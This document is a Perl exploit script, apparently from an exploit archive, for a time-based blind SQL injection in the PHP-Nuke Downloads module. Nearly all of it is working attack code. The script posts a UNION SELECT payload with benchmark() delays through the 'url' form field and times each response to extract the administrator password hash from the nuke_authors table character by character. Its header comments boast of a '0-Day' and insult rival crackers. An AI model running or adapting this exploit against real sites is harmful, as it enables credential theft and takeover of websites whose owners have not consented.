PHP-Nuke 8.1.0.3.5b - 'Downloads' Blind SQL Injection

#!/usr/bin/perl
# [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection
# Date: 2010.07.04 after 50 days the bug was discovered.
# Author/s: Dante90, WaRWolFz Crew
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, 
#               Shades Master, V1R5, yeat
# Special Greetings To: The:Paradox
# Greetings To: Shotokan-The Hacker, _mRkZ_, h473
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# ----
# Why have I decided to publish this?
# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published 
# my own exploit, with their names.
# FU**ING LAMERS / RIPPERS / SCRIPT KIDDIE
# ----

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use Time::HiRes;

my $Victime  = shift or &usage;
my $Hash = "";
my ($Referer,$Time,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
			agent => 'Mozilla/5.0',
			max_redirect => 0,
			cookie_jar => $Cookies,
			default_headers => HTTP::Headers->new,
		) or die $!;
my $WaRWolFz = "http://www.warwolfz.org/";
my $DefaultTime = request($WaRWolFz);
my $Post;

sub Blind_SQL_Jnjection {
	my ($dec,$hex,$Victime) = @_;
	return "http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}";
}

for(my $I=1; $I<=32; $I++){ #N Hash characters
	for(my $J=0; $J<=15; $J++){ #0 -> F
		$Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime);
		$Time = request($Post);
		sleep(3);
		refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
		if ($Time > 4) {
			$Time = request($Post);
			refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
			if ($Time > 4) {
				syswrite(STDOUT,chr($chars[$J]));
				$Hash .= chr($chars[$J]);
				$Time = request($Post);
				refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
				last;
			}
		}
	}
	if($I == 1 && length $Hash < 1 && !$Hash){
		print " * Exploit Failed                                       *\n";
		print " -------------------------------------------------------- \n";
		exit;
	}
	if($I == 32){
		print " * Exploit Successfully Executed                        *\n";
		print " -------------------------------------------------------- \n";
		system("pause");
	}
}

sub request{
	$Post = $_[0];
	$Start = Time::HiRes::time();
	my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', {
					title => "Dante90",
					url => $Post,
					description => "WaRWolFz Crew",
					auth_name => "Dante90",
					email => "dante90.dmc4\@hotmail.it",
					filesize => "1024",
					version => "1",
					homepage => "http://www.warwolfz.org/",
					d_op => "Add"
				}, 
				Referer => $HostName.'modules.php?name=Downloads&d_op=Add');
	$Response->is_success() or die "$HostName : ", $Response->message, "\n";
	$End = Time::HiRes::time();
	$Time = $End - $Start;
	return $Time;
}

sub usage {
	system("cls");
	{
		print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n";
		print " -------------------------------------------------------- \n";
		print " * USAGE:                                               *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
		print " * perl name_exploit.pl [victime]                       *\n";
		print " -------------------------------------------------------- \n";
		print " *          Powered By Dante90, WaRWolFz Crew           *\n";
		print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *\n";
		print " ------------------------------------------------------- \n";
	};
	exit;
}

sub refresh {
	system("cls");
	{
		print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n";
		print " -------------------------------------------------------- \n";
		print " * USAGE:                                               *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
		print " * perl name_exploit.pl [victime]                       *\n";
		print " -------------------------------------------------------- \n";
		print " *          Powered By Dante90, WaRWolFz Crew           *\n";
		print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *\n";
		print " ------------------------------------------------------- \n";
	};
	print " * Victime Site: " . $_[0] . "\n";
	print " * Default Time: " . $_[1] . " seconds\n";
	print " * BruteForcing Hash: " . chr($_[2]) . "\n";
	print " * BruteForcing N Char Hash: " . $_[5] . "\n";
	print " * SQL Time: " . $_[4] . " seconds\n";
	print " * Hash: " . $_[3] . "\n";
}

#WaRWolFz Crew